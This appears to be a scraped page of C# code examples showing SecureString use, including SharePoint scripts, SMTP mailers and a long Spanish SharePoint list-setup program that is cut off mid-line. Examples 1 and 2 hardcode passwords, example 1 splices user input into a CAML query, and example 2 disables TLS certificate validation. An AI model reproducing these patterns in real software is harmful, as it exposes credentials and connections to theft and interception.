コード例 #1
0
        private void button1_Click(object sender, EventArgs e)
        {

            string siteUrl = "https://hp-27b0ee14ded081.sharepoint.com/teams/spohub/ACSMigrationManager/";

            ClientContext clientContext = new ClientContext(siteUrl);
            System.Security.SecureString pwd = new System.Security.SecureString();
            pwd.AppendChar('p');
            pwd.AppendChar('a');
            pwd.AppendChar('s');
            pwd.AppendChar('s');
            pwd.AppendChar('@');
            pwd.AppendChar('w');
            pwd.AppendChar('o');
            pwd.AppendChar('r');
            pwd.AppendChar('d');
            pwd.AppendChar('1');
            clientContext.Credentials = new SharePointOnlineCredentials("*****@*****.**", pwd);
            Web site = clientContext.Web;
            clientContext.Load(site);
            clientContext.ExecuteQuery();

            SP.List oList = clientContext.Web.Lists.GetByTitle("Migration Tasks");
            CamlQuery query;
            string sitesText = "" + textBox1.Text;
            sitesText = sitesText.Replace("\r", "");
            sitesText = sitesText.Replace("\n", ",");
            string[] sites = null;
            if (sitesText.Length > 0)
            {
                sites = sitesText.Split(',');

                for (int i = 0; i < sites.Length; i++)
                {
                    if (sites[i].Trim().Length > 0)
                    {
                        query = new CamlQuery();
                        query.ViewXml = "<View><Query><Where><Contains><FieldRef Name='ContentSource'/><Value Type='Text'>" +
                            sites[i] + "</Value></Contains></Where></Query></View>";
                        ListItemCollection collListItem = oList.GetItems(query);

                        clientContext.Load(collListItem);
                        clientContext.ExecuteQuery();



                        if (collListItem.Count == 1)
                        {
                            ListItem oListItem = collListItem[0];
                            //listBox1.DataSource = collListItem;
                            textBox3.Text += oListItem["Title"].ToString() + @"
";
                            oListItem["MigrationStatus"] = textBox2.Text;
                            oListItem.Update();
                            clientContext.ExecuteQuery();
                        }
                    }
                }
            }
        }
コード例 #2
0
        protected void SendMail()
        {
            SmtpClient client = new System.Net.Mail.SmtpClient();

            //Password of your gmail address
            System.Security.SecureString password = new System.Security.SecureString();
            password.AppendChar('p');
            password.AppendChar('o');
            password.AppendChar('h');
            password.AppendChar('u');
            password.AppendChar('t');
            password.AppendChar('a');
            password.AppendChar('k');
            password.AppendChar('a');
            password.AppendChar('w');
            password.AppendChar('a');

            // Set the e-mail destinations.
            string from = "*****@*****.**";
            string to = "*****@*****.**";

            client.Host = "smtp.gmail.com";
            client.Port = 587;
            client.EnableSsl = true;
            client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
            client.Credentials = new NetworkCredential(from, password);
            ServicePointManager.ServerCertificateValidationCallback =
               delegate(object s, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
               { return true; };
            client.Timeout = 20000;

            // Specify the message content.
            MailMessage mail = new MailMessage();

            //From address to send email
            mail.From = new MailAddress(from);
            //To address to send email
            mail.To.Add(to);

            mail.Body = MakeEmailBody();

            mail.BodyEncoding = System.Text.Encoding.UTF8;

            mail.Subject = "Inquiry from website";
            mail.SubjectEncoding = System.Text.Encoding.UTF8;

            // Passing values to smtp object
            client.Send(mail);

            // Clean up.
            mail.Dispose();
        }
コード例 #3
0
ファイル: CertificateMaker.cs プロジェクト: JGunning/OpenAIM
        /// <summary>
        /// Create a new self signed certificate
        /// </summary>
        /// <param name="x500"></param>
        /// <param name="startTime"></param>
        /// <param name="endTime"></param>
        /// <param name="insecurePassword"></param>
        /// <returns></returns>
        public static byte[] CreateSelfSignCertificatePfx(string x500, DateTime startTime, DateTime endTime, string insecurePassword)
        {
            byte[] pfxData;
            SecureString password = null;
            try
            {
                if (!string.IsNullOrEmpty(insecurePassword))
                {
                    password = new SecureString();
                    foreach (char ch in insecurePassword)
                    {
                        password.AppendChar(ch);
                    }

                    password.MakeReadOnly();
                }

                pfxData = CreateSelfSignCertificatePfx(
                    x500,
                    startTime,
                    endTime,
                    password);
            }
            finally
            {
                if (password != null)
                {
                    password.Dispose();
                }
            }

            return pfxData;
        }
コード例 #4
0
ファイル: kedo.cs プロジェクト: nolanlum/CalDiningOracle
        void kedofriends(bool retry)
        {
            using (jaka jaka = new jaka())
            {
                jaka.Show();

                if (retry)
                {
                    jaka.PasswordWasWrong();
                    npkji.Flash(jaka, 3);
                }

                // wait for slow jaka
                while (jaka.Visible)
                {
                    Application.DoEvents();

                    Thread.Sleep(1);
                }

                // jaka stinx
                if (jaka.WasCancelled || jaka.Username.Length == 0 || jaka.Password.Length == 0)
                    Environment.Exit(0);

                username = jaka.Username;
                type = jaka.PlanType;

                password = new System.Security.SecureString();
                foreach (var x in jaka.Password) password.AppendChar(x);
                password.MakeReadOnly();
            }
        }
コード例 #5
0
 public override object EditValue(ITypeDescriptorContext context, IServiceProvider provider, object value)
 {
     if (context == null || context.Instance == null)
     {
         return base.EditValue(context, provider, value);
     }
     else
     {
         value = null;
         NetworkCredential creds = GetCredential();
         if (creds != null)
         {
             System.Security.SecureString pwd = new System.Security.SecureString();
             foreach(var c in creds.Password) 
             {
                 pwd.AppendChar(c);
             }
             PSCredential rtncrds = new PSCredential(creds.UserName, pwd);
             creds = null;
             pwd = null;
             GC.Collect();
             value = rtncrds;
         }
         return value;
     }
 }
コード例 #6
0
 public static System.Security.SecureString PasswordAsSecureString()
 {
     System.Security.SecureString ss = new System.Security.SecureString();
     foreach (char c in PasswordAsString())
         ss.AppendChar(c);
     return ss;
 }
コード例 #7
0
ファイル: sendmail.cs プロジェクト: kubicas/sendmail
 static System.Security.SecureString getPassword()
 {
     System.Security.SecureString pwd = new System.Security.SecureString();
      while (true)
      {
     System.ConsoleKeyInfo i = System.Console.ReadKey(true);
     if (i.Key == System.ConsoleKey.Enter)
     {
        System.Console.WriteLine();
        break;
     }
     else if (i.Key == System.ConsoleKey.Backspace)
     {
        if (pwd.Length > 0)
        {
           pwd.RemoveAt(pwd.Length - 1);
           System.Console.Write("\b \b");
        }
     }
     else
     {
        pwd.AppendChar(i.KeyChar);
        System.Console.Write("*");
     }
      }
      pwd.MakeReadOnly();
      return pwd;
 }
コード例 #8
0
        public static PSCredential GetCredential(string userName, string password)
        {
            var securePassword = new System.Security.SecureString();
            foreach (var c in password)
                securePassword.AppendChar(c);

            return new PSCredential(userName, securePassword);
        }
コード例 #9
0
        /// <summary>
        /// Converts a string into a SecureString
        /// </summary>
        public static System.Security.SecureString ToSecureString(this String source)
        {
            var secureString = new System.Security.SecureString();
            foreach (Char c in source)
                secureString.AppendChar(c);

            return secureString;
        }
コード例 #10
0
ファイル: SecureString.cs プロジェクト: ksunair/ironnails
 public static System.Security.SecureString ToSecureString(string input)
 {
     var secure = new System.Security.SecureString();
     foreach (var c in input)
     {
         secure.AppendChar(c);
     }
     secure.MakeReadOnly();
     return secure;
 }
コード例 #11
0
        public void Send(string to, string subject, string body)
        {
            System.Net.NetworkCredential credential;
            System.Security.SecureString secStr = new System.Security.SecureString();
            foreach (var c in GmailEncryptedPassword.Decrypt())
                secStr.AppendChar(c);
            credential = new System.Net.NetworkCredential(GmailUser, secStr);

            CSA.Common.SendMail sm = new Common.SendMail(GmailSmtpAddress, GmailSmtpPort, credential);
            sm.Send(to, subject, body);
        }
コード例 #12
0
 private string GetSelloFromDerKey(string cadenaOriginal) {
     System.Security.Cryptography.SHA1CryptoServiceProvider sha1 = new System.Security.Cryptography.SHA1CryptoServiceProvider();
     System.Security.SecureString passwordSeguro = new System.Security.SecureString();
     passwordSeguro.Clear();
     foreach (char c in this.PrivateKeyContrasena.ToCharArray())
         passwordSeguro.AppendChar(c);
     var rsaCryptoIPT = JavaScience.opensslkey.DecodeEncryptedPrivateKeyInfo(this.PrivateKeyDER, passwordSeguro);
     System.Text.UTF8Encoding encoder = new System.Text.UTF8Encoding();
     byte[] binData = encoder.GetBytes(cadenaOriginal);
     byte[] binSignature = rsaCryptoIPT.SignData(binData, sha1);
     string sello = Convert.ToBase64String(binSignature);
     return sello;
 }
コード例 #13
0
ファイル: AzureCache.cs プロジェクト: hugebdu/MapReduce.JS
        public AzureCache()
        {
            var token = new System.Security.SecureString();
            foreach (var c in AuthenticationToken.ToCharArray())
            {
                token.AppendChar(c);
            }

            var securityProperties = new DataCacheSecurity(token);

            var factory = new DataCacheFactory(new DataCacheFactoryConfiguration()
            {
                SecurityProperties = securityProperties,
                Servers = new List<DataCacheServerEndpoint> { new DataCacheServerEndpoint(CacheHost, CachePort) }
            });
            
            this._cacheClient = factory.GetDefaultCache();
        }
コード例 #14
0
        public object Decrypt(byte[] certificate, string password, byte[] encryptedBytes)
        {
            byte[] decryptedBytes;

            // load the certificate and decrypt the specified data
            using (var ss = new System.Security.SecureString())
            {
                foreach (var keyChar in password.ToCharArray())
                    ss.AppendChar(keyChar);

                // load the password protected certificate file
                var cert = new X509Certificate2(certificate, ss);
                using (RSACryptoServiceProvider rsa = (RSACryptoServiceProvider)cert.PrivateKey)
                {
                    decryptedBytes = rsa.Decrypt(encryptedBytes, true);
                }
            }

            object returnObj =  Serializer.DeserializeFromByteArray(decryptedBytes);
            return returnObj;
        }
コード例 #15
0
 /// <summary>
 /// Reads a password from the standard input stream without printing the password characters to the screen.
 /// </summary>
 /// <remarks>Pressing the backspace key does work while entering the password.</remarks>
 /// <returns>A <see cref="System.Security.SecureString"/> instance containing the password that has been entered into the standard input stream.</returns>
 public static System.Security.SecureString GetSecurePassword()
 {
     System.Security.SecureString pwd = new System.Security.SecureString();
     while (true)
     {
         ConsoleKeyInfo i = Console.ReadKey(true);
         if (i.Key == ConsoleKey.Enter)
         {
             break;
         }
         else if (i.Key == ConsoleKey.Backspace)
         {
             pwd.RemoveAt(pwd.Length - 1);
             //Console.Write("\b \b");
         }
         else
         {
             pwd.AppendChar(i.KeyChar);
             //Console.Write("*");
         }
     }
     return pwd;
 }
コード例 #16
0
        public void TestSecureStringSaving()
        {
            System.Security.SecureString sT = new System.Security.SecureString();
            string secureStringTest = "This is a SecureString test";

            for (int t = 0; t < secureStringTest.Length; t++)
            {
                sT.AppendChar(secureStringTest[t]);
            }

            // create a second.
            System.Security.SecureString sT2 = new System.Security.SecureString();
            string secureStringTest2 = "This is a SecureString test";

            for (int t = 0; t < secureStringTest2.Length; t++)
            {
                sT2.AppendChar(secureStringTest2[t]);
            }

            // check sT and sT2 for equality.
            MessageBox.Show((sT2 == sT).ToString());

            Properties.Settings.Default.secureTest = sT;
            Properties.Settings.Default.Save();

            // check sT and Properties.Settings.Default.secureTest for equality.
            MessageBox.Show((sT == Properties.Settings.Default.secureTest).ToString());

            Properties.Settings.Default.Reload();

            // check sT and Properties.Settings.Default.secureTest for equality.
            // after reloading.
            MessageBox.Show((sT == Properties.Settings.Default.secureTest).ToString());

            // check the length of the two objects after reloading.
            MessageBox.Show((sT.Length == Properties.Settings.Default.secureTest.Length).ToString());
        }
コード例 #17
0
        static void Main(string[] args)
        {
            string usrUser   = Properties.Settings.Default.User;
            string usrInPass = Properties.Settings.Default.Pass;
            string usrURL    = Properties.Settings.Default.URL;

            System.Security.SecureString usrPass = new System.Security.SecureString();
            foreach (char chr in usrInPass.ToCharArray())
            {
                usrPass.AppendChar(chr);
            }

            using (ClientContext ctx = new ClientContext(usrURL))
            {
                ctx.Credentials = new SharePointOnlineCredentials(usrUser, usrPass);
                Web web = ctx.Web;
                ctx.Load(web);
                ctx.ExecuteQuery();

                CrearLista creacion = new CrearLista("Categoria", "categoria", "Almacena los datos de las categorías en los que agrupan los platos.", (int)ListTemplateType.GenericList, ctx);
                creacion.Crear();
                creacion.CambiarDisplay();
                List listaCategoria = creacion.Ref;

                creacion = new CrearLista("Ingredientes", "ingredientes", "Almacena los datos de los ingredientes para las ensaladas.", (int)ListTemplateType.GenericList, ctx);
                creacion.Crear();
                creacion.CambiarDisplay();
                List listaIngredientes = creacion.Ref;

                creacion = new CrearLista("Guarnicion", "guarnicion", "Almacena los datos de las guarniciones que acompañan los platos.", (int)ListTemplateType.GenericList, ctx);
                creacion.Crear();
                creacion.CambiarDisplay();
                List listaGuarnicion = creacion.Ref;

                creacion = new CrearLista("Carta", "carta", "Almacena los datos de los platos establecido en el menú.", (int)ListTemplateType.GenericList, ctx);
                creacion.Crear();
                creacion.CambiarDisplay();
                List listaCarta = creacion.Ref;

                creacion = new CrearLista("Pedidos", "pedidos", "Almacena los datos de los pedidos.", (int)ListTemplateType.GenericList, ctx);
                creacion.Crear();
                creacion.CambiarDisplay();
                List listaPedido = creacion.Ref;

                creacion = new CrearLista("Pedido Detalle", "pedidodetalle", "Almacena el detalle de los pedidos.", (int)ListTemplateType.GenericList, ctx);
                creacion.Crear();
                creacion.CambiarDisplay();
                List listaPedidoDetalle = creacion.Ref;

                //Creacion de Fields
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("-- CREANDO CAMPOS --");
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Responsabilidad de FEDE y CAROs.");
                Console.ForegroundColor = ConsoleColor.Yellow;
                int cntF = 0;


                //Categoría Guarnicion
                Console.WriteLine("  Definiendo Campos de: {0} ", "Categoría");
                listaCategoria.Fields.AddFieldAsXml("<Field ID='{F266F118-3B06-48EE-9DF4-3E3FD0CC94CA}' "
                                                    + " DisplayName='catGuarnicion' "
                                                    + " Name='catGuarnicion' "
                                                    + " Type ='LookupMulti' "
                                                    + " List='{" + listaGuarnicion.Id + "}' "
                                                    + " ShowField='Title' "
                                                    + " Mult='TRUE' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Guarnicion");
                try
                {
                    ctx.ExecuteQuery();
                }
                catch (Exception ex)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("    - EXISTENTE");
                    Console.ForegroundColor = ConsoleColor.Green;
                }
                Field Campo = listaCategoria.Fields.GetByInternalNameOrTitle("catGuarnicion");
                Campo.Title = "Guarnición";
                Campo.Update();
                cntF++;
                ctx.ExecuteQuery();

                //Ingredientes Disponibilidad --------------------------------------------------------------------------------------------
                Console.WriteLine("  Definiendo Campos de: {0} ", "Ingredientes");
                listaIngredientes.Fields.AddFieldAsXml("<Field ID='{5BF90F4C-E9DA-47AB-8863-19B7B27DBC95}' "
                                                       + " DisplayName='ingDisponibilidad' "
                                                       + " Name='ingDisponibilidad' "
                                                       + " Type='Boolean' "
                                                       + " Required='TRUE'>"
                                                       + " <Default>1</Default>"
                                                       + " </Field>", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Disponibilidad");
                listaIngredientes.Update();
                try
                {
                    ctx.ExecuteQuery();
                }
                catch (Exception ex)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("    - EXISTENTE");
                    Console.ForegroundColor = ConsoleColor.Green;
                }
                Campo       = listaIngredientes.Fields.GetByInternalNameOrTitle("ingDisponibilidad");
                Campo.Title = "Disponibilidad";
                Campo.Update();
                cntF++;
                ctx.ExecuteQuery();

                //Guarnicion Disponibilidad --------------------------------------------------------------------------------------------
                Console.WriteLine("  Definiendo Campos de: {0} ", "Guarnición");
                listaGuarnicion.Fields.AddFieldAsXml("<Field ID='{65C95CD6-DE9D-4104-81E6-906DA253ACC6}' "
                                                     + " DisplayName='guaDisponibilidad' "
                                                     + " Name='guaDisponibilidad' "
                                                     + " Type ='Boolean' "
                                                     + " Required='TRUE'>"
                                                     + " <Default>1</Default>"
                                                     + " </Field>", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Disponibilidad");
                listaGuarnicion.Update();
                try
                {
                    ctx.ExecuteQuery();
                }
                catch (Exception ex)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("    -EXISTENTE");
                    Console.ForegroundColor = ConsoleColor.Green;
                }
                Campo       = listaGuarnicion.Fields.GetByInternalNameOrTitle("guaDisponibilidad");
                Campo.Title = "Disponibilidad";
                Campo.Update();
                cntF++;
                ctx.ExecuteQuery();

                //Carta Categoria --------------------------------------------------------------------------------------------
                Console.WriteLine("  Definiendo Campos de: {0} ", "Carta");
                listaCarta.Fields.AddFieldAsXml("<Field ID='{553BCE71-1FB0-441A-9A25-CED4EAA24C47}' "
                                                + " DisplayName='carCategoria' "
                                                + " Name='carCategoria' "
                                                + " Type='Lookup' "
                                                + " List='{" + listaCategoria.Id + "}' "
                                                + " ShowField='Title' "
                                                + " Indexed='TRUE' "
                                                + " Required='TRUE' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Categoria");
                //Carta Disponibilidad
                listaCarta.Fields.AddFieldAsXml("<Field ID='{7696EE45-CBF1-4541-88B7-BB8B0EAC52DD}' "
                                                + " DisplayName='carDisponibilidad' "
                                                + " Name='carDisponibilidad' "
                                                + " Type ='Boolean' "
                                                + " Required='TRUE'>"
                                                + " <Default>1</Default>"
                                                + " </Field>", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Disponibilidad");
                //Carta Precio
                listaCarta.Fields.AddFieldAsXml("<Field ID='{891E690D-94EF-416F-BE34-B6D21D145BB4}' "
                                                + " DisplayName='carPrecio' "
                                                + " Name='carPrecio' "
                                                + " Type ='Currency' "
                                                + " LCID= '11274'"
                                                + " Min= '0' "
                                                + " Required='TRUE'/>", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Precio");
                //Carta Descuento
                listaCarta.Fields.AddFieldAsXml("<Field ID='{ED828D92-0444-457B-A4E5-0652BBC7AB6B}' "
                                                + " DisplayName='carDescuento' "
                                                + " Name='carDescuento' "
                                                + " Type ='Number' "
                                                + " Min= '0' "
                                                + " Percentage='TRUE'"
                                                + " Required='TRUE'>"
                                                + " <Default>0</Default>"
                                                + " </Field>", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Descuento");
                //Carta Total
                listaCarta.Fields.AddFieldAsXml("<Field ID='{428F1064-C8AA-491F-AEE3-B3FD6146B9DA}'"
                                                + " DisplayName='carTotal' "
                                                + " Name='carTotal' "
                                                + " Type ='Calculated' "
                                                + " LCID= '11274'"
                                                + " Min= '0' "
                                                + " Required='TRUE' "
                                                + " ResultType='Currency' >"
                                                + "<Formula> =[carDescuento]*[carPrecio]</Formula>"
                                                + "<FieldRefs>"
                                                + "<FieldRef Name='carPrecio' />"
                                                + "<FieldRef Name='carDescuento' />"
                                                + "</FieldRefs>"
                                                + " </Field>", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Total");
                listaCarta.Update();
                try
                {
                    ctx.ExecuteQuery();
                }
                catch (Exception ex)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("    -EXISTENTE");
                    Console.ForegroundColor = ConsoleColor.Green;
                }
                Field[] CamposCarta = new Field[5];
                CamposCarta[0]       = listaCarta.Fields.GetByInternalNameOrTitle("carCategoria");
                CamposCarta[0].Title = "Categoría";
                CamposCarta[1]       = listaCarta.Fields.GetByInternalNameOrTitle("carDisponibilidad");
                CamposCarta[1].Title = "Disponibilidad";
                CamposCarta[2]       = listaCarta.Fields.GetByInternalNameOrTitle("carPrecio");
                CamposCarta[2].Title = "Precio";
                CamposCarta[3]       = listaCarta.Fields.GetByInternalNameOrTitle("carDescuento");
                CamposCarta[3].Title = "Descuento";
                CamposCarta[4]       = listaCarta.Fields.GetByInternalNameOrTitle("carTotal");
                CamposCarta[4].Title = "Total";
                foreach (Field c in CamposCarta)
                {
                    c.Update();
                    cntF++;
                }
                ctx.ExecuteQuery();
                //Pedidos Observaciones --------------------------------------------------------------------------------------------
                Console.WriteLine("  Definiendo Campos de: {0} ", "Pedidos");
                listaPedido.Fields.AddFieldAsXml("<Field DisplayName='pedObsevaciones' "
                                                 + " ID='{A80C1348-14CE-4441-8259-E5D4E18DC93A}' "
                                                 + " Name='pedObsevaciones' "
                                                 + " Type ='Note' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Observaciones");
                //Pedidos Estado
                listaPedido.Fields.AddFieldAsXml("<Field DisplayName='pedEstado' "
                                                 + " ID='{72B7F7D5-253A-4957-A6BE-14DFC6ABA116}' "
                                                 + " Name='pedEstado' "
                                                 + " Type ='Choice' >"
                                                 + " <CHOICES>"
                                                 + "<CHOICE>Pendiente</CHOICE>"
                                                 + "<CHOICE>Cancelado</CHOICE>"
                                                 + "<CHOICE>Listo</CHOICE>"
                                                 + "<CHOICE>Finalizado</CHOICE>"
                                                 + " </CHOICES>"
                                                 + " <Default>Pendiente</Default>"
                                                 + " </Field>", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Estado");
                //Pedidos Ubicación
                listaPedido.Fields.AddFieldAsXml("<Field DisplayName='pedUbicacion' "
                                                 + " ID='{81C5AFE3-5D85-4E85-8E76-62C3D612D610}' "
                                                 + " Name='pedUbicacion' "
                                                 + " Type ='Text' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Ubicación");
                //Pedidos SubTotal
                listaPedido.Fields.AddFieldAsXml("<Field DisplayName='pedSubTotal' "
                                                 + " ID='{F9883EA5-03FC-460A-8A61-7FAD0219BF08}' "
                                                 + " Name='pedSubTotal' "
                                                 + " Type ='Currency' "
                                                 + " LCID= '11274'"
                                                 + " Min= '0' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "SubTotal");
                //Pedidos Historial Estado
                listaPedido.Fields.AddFieldAsXml("<Field DisplayName='pedHistorialEstado' "
                                                 + " ID='{B4A1021F-6256-4F06-86EC-C0ED1EB38B04}' "
                                                 + " Name='pedHistorialEstado' "
                                                 + " Type ='Note' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Historial Estado");
                //Pedido Horario
                listaPedido.Fields.AddFieldAsXml("<Field DisplayName='pedHorario' "
                                                 + " ID='{A2782181-6653-49A3-B756-7A39608A5AFF}' "
                                                 + " Name='pedHorario' "
                                                 + " Type ='DateTime' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Horario");
                //Pedido Bonificaciones
                listaPedido.Fields.AddFieldAsXml("<Field DisplayName='pedBonificaciones' "
                                                 + " ID='{B652D0D1-D682-4AD5-9239-CFA7203DA4B5}' "
                                                 + " Name='pedBonificaciones' "
                                                 + " Type ='Currency' "
                                                 + " LCID= '11274'"
                                                 + " Min= '0' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Bonificaciones");
                //Pedido Total
                listaPedido.Fields.AddFieldAsXml("<Field DisplayName='pedTotal' "
                                                 + " ID='{2067DC44-00C2-433D-945D-E01C01DFD808}' "
                                                 + " Name='pedTotal' "
                                                 + " Type ='Currency' "
                                                 + " LCID= '11274'"
                                                 + " Min= '0' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Total");
                listaPedido.Update();
                try
                {
                    ctx.ExecuteQuery();
                }
                catch (Exception ex)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("    -EXISTENTE");
                    Console.ForegroundColor = ConsoleColor.Green;
                }
                Field[] CamposPedido = new Field[8];
                CamposPedido[0]       = listaPedido.Fields.GetByInternalNameOrTitle("pedObservaciones");
                CamposPedido[0].Title = "Observaciones";
                CamposPedido[1]       = listaPedido.Fields.GetByInternalNameOrTitle("pedEstado");
                CamposPedido[1].Title = "Estado";
                CamposPedido[2]       = listaPedido.Fields.GetByInternalNameOrTitle("pedUbicacion");
                CamposPedido[2].Title = "Ubicación";
                CamposPedido[3]       = listaPedido.Fields.GetByInternalNameOrTitle("pedSubTotal");
                CamposPedido[3].Title = "SubTotal";
                CamposPedido[4]       = listaPedido.Fields.GetByInternalNameOrTitle("pedHistorialEstado");
                CamposPedido[4].Title = "Historial Estado";
                CamposPedido[5]       = listaPedido.Fields.GetByInternalNameOrTitle("pedHorario");
                CamposPedido[5].Title = "Horario";
                CamposPedido[6]       = listaPedido.Fields.GetByInternalNameOrTitle("pedBonificaciones");
                CamposPedido[6].Title = "Bonificaciones";
                CamposPedido[7]       = listaPedido.Fields.GetByInternalNameOrTitle("pedTotal");
                CamposPedido[7].Title = "Total";
                foreach (Field c in CamposPedido)
                {
                    c.Update();
                    cntF++;
                }
                ctx.ExecuteQuery();
                //Pedido Detalle --------------------------------------------------------------------------------------------
                Console.WriteLine("  Definiendo Campos de: {0} ", "Pedido Detalle");
                //Pedido Detalle cubiertos
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtCubiertos' "
                                                        + " ID='{0102837A-CB07-4C4F-9106-669C5BF92D79}' "
                                                        + " Name='peddtCubiertos' "
                                                        + " Type ='Boolean' >"
                                                        + " <Default>1</Default>"
                                                        + " </Field>", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Cubiertos");

                //Pedido Detalle aderezos
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtAderezos' "
                                                        + " ID='{CC120D44-8FF3-495A-9D13-208EDC5571B7}' "
                                                        + " Name='peddtAderezos' "
                                                        + " Type ='Choice' >"
                                                        + " <CHOICES>"
                                                        + "<CHOICE>Ninguno</CHOICE>"
                                                        + "<CHOICE>Mayonesa</CHOICE>"
                                                        + "<CHOICE>Ketechup</CHOICE>"
                                                        + "<CHOICE>Mostaza</CHOICE>"
                                                        + "<CHOICE>Sal</CHOICE>"
                                                        + "<CHOICE>Queso</CHOICE>"
                                                        + " </CHOICES>"
                                                        + " <Default>Ninguno</Default>"
                                                        + " </Field>", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Aderezos");
                listaPedidoDetalle.Update();
                //Pedido Detalle cantidad
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtCantidad' "
                                                        + " ID='{AFD709FC-AF19-4EB1-A6A6-FD3F6E2B217A}' "
                                                        + " Name='peddtCantidad' "
                                                        + " Type ='Number'"
                                                        + " Min= '1' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Cantidad");

                //Pedido Detalle pan
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtPan' "
                                                        + " ID='{B16E25DB-0134-4ECD-A09C-1DC02CA0A56B}' "
                                                        + " Name='peddtPan' "
                                                        + " Type ='Boolean' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Pan");
                listaPedidoDetalle.Update();
                //Pedido Detalle Observaciones
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtObservaciones' "
                                                        + " ID='{9C446E32-69B3-4B8F-AD53-1E1A2648BC5C}' "
                                                        + " Name='peddtObservaciones' "
                                                        + " Type ='Note' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Observaciones");
                listaPedidoDetalle.Update();
                //Pedido Detalle usuario
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtUsuario' "
                                                        + " ID='{377B04EB-46F5-4A47-ABD8-C61EDD7169E4}' "
                                                        + " Name='peddtUsuario' "
                                                        + " Type ='User' "
                                                        + " Required='TRUE' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Usuario");
                listaPedidoDetalle.Update();
                //Pedido Detalle Id Pedido
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtIDPedido' "
                                                        + " ID='{F46E68EA-5F70-4023-9757-602DA9183652}' "
                                                        + " Name='peddtIDPedido' "
                                                        + " Type ='Number' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Id Pedido");
                listaPedidoDetalle.Update();
                //Pedido Detalle ID Guarnicion
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtIDGuarnicion' "
                                                        + " ID='{E7CCE4F2-099F-4E71-BDD1-3704A804D29D}' "
                                                        + " Name='peddtIDGuarnicion' "
                                                        + " Type ='Number' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Id Guarnicion");
                listaPedidoDetalle.Update();
                //Pedido Detalle  ID carta
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtIDCarta' "
                                                        + " ID='{CE032EC2-8E07-4353-9CBE-7D5B3E12E42A}' "
                                                        + " Name='peddtIDCarta' "
                                                        + " Type ='Number' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Id Carta");
                listaPedidoDetalle.Update();
                //Pedido Detalle Tipo Guarnicion
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtTituloGuarnicion' "
                                                        + " ID='{DEC90067-9289-4A9D-9D21-75E497974FEE}' "
                                                        + " Name='peddtTituloGuarnicion' "
                                                        + " Type ='Text' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Tipo Guarnicion");
                listaPedidoDetalle.Update();
                //Pedido Detalle SubTotal
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtSubTotal' "
                                                        + " ID='{5CB1ED9A-720B-4B74-AF3D-7B1D0FC7F999}' "
                                                        + " Name='peddtSubTotal' "
                                                        + " Type ='Currency' "
                                                        + " LCID= '11274'"
                                                        + " Min= '0' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Sub Total");

                //Pedido Detalle Bonificaciones
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtBonificaciones' "
                                                        + " ID='{F062E586-B859-4332-8B2F-9C4ECF2343DE}' "
                                                        + " Name='peddtTituloGuarnicion' "
                                                        + " Type ='Currency' "
                                                        + " LCID= '11274'/>", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Bonificaciones");
                listaPedidoDetalle.Update();
                //Pedido Detalle Total
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtTotal' "
                                                        + " ID='{A4A86576-1732-4DB9-9A02-45610E527A02}' "
                                                        + " Name='peddtTituloGuarnicion' "
                                                        + " Type ='Currency' "
